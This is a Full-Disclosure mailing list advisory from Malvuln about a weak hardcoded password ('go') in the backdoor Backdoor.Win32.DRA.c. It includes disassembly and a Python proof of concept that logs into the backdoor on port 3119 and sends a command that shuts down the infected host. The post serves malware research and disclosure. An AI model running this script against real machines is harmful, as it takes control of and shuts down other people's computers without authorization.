lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 24 Jan 2022 21:15:42 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.DRA.c / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/5ff832ce6af4b03a709eaf380672cf34.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DRA.c
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 3119 and authentication is
required. However, the password "go" is weak and hardcoded in the PE file.
The malware uses "lstrcmpa" Win32 API to check the password, when sending
the password we need to be careful that there is no line feed "\n" E.g.
"go\n", as what happens when sent using ncat or telnet causing
authentication to fail.

00401317                 jz      loc_401218
0040131D                 push    offset aGo      ; "go"
00401322                 push    offset buf      ; lpString1
00401327                 call    lstrcmpA

0040131D | 68 7C 40 40 00           | push
backdoor.win32.dra.c.5ff832ce6af4b | 40407C "go"
00401322 | 68 8C 46 40 00           | push
backdoor.win32.dra.c.5ff832ce6af4b |
00401327 | E8 F4 0C 00 00           | call
<backdoor.win32.dra.c.5ff832ce6af4 |
0040132C | 83 F8 00                 | cmp eax,0
  |
0040132F | 74 2C                    | je
backdoor.win32.dra.c.5ff832ce6af4b03 |
00401331 | 6A 00                    | push 0
   |
00401333 | 6A 11                    | push 11
  |
00401335 | 68 11 4C 40 00           | push
backdoor.win32.dra.c.5ff832ce6af4b | 404C11 "invalid password."
0040133A | FF 35 16 4B 40 00        | push dword ptr ds:[404B16]
   |
00401340 | E8 53 0D 00 00           | call
<backdoor.win32.dra.c.5ff832ce6af4 |
00401345 | 83 F8 FF                 | cmp eax,FFFFFFFF
   |

Type: PE32
MD5: 5ff832ce6af4b03a709eaf380672cf34
Vuln ID: MVID-2022-0470
Disclosure: 01/24/2022


Exploit/PoC:
Using ncat, telnet will fail as it sends a new line "\n", so we use a
makeshift Python agent.
Sending the command "Run z\r\n" will initiate a shutdown of the infected
host.

from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=3119


def conn():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    return s

def chk_res(s):
    res=""
    while True:
        res += s.recv(512)
        if "Connected :-) !" in res or "invalid password" in res:
            break
    return res

def doit():

    s=conn()

    #Bad passwd
    PAYLOAD="hate\r\n"
    s.send(PAYLOAD)
    print(chk_res(s))
    s.close()

    time.sleep(1)

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    #Correct passwd
    PAYLOAD="go"
    s.send(PAYLOAD)
    print(chk_res(s))

    time.sleep(1)

    #initiates a shutdown of the infected machine
    #s.send("Run c\r\n")
    s.send("Run z\r\n")

    s.close()


if __name__=="__main__":
    doit()
    print("Malvuln")


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists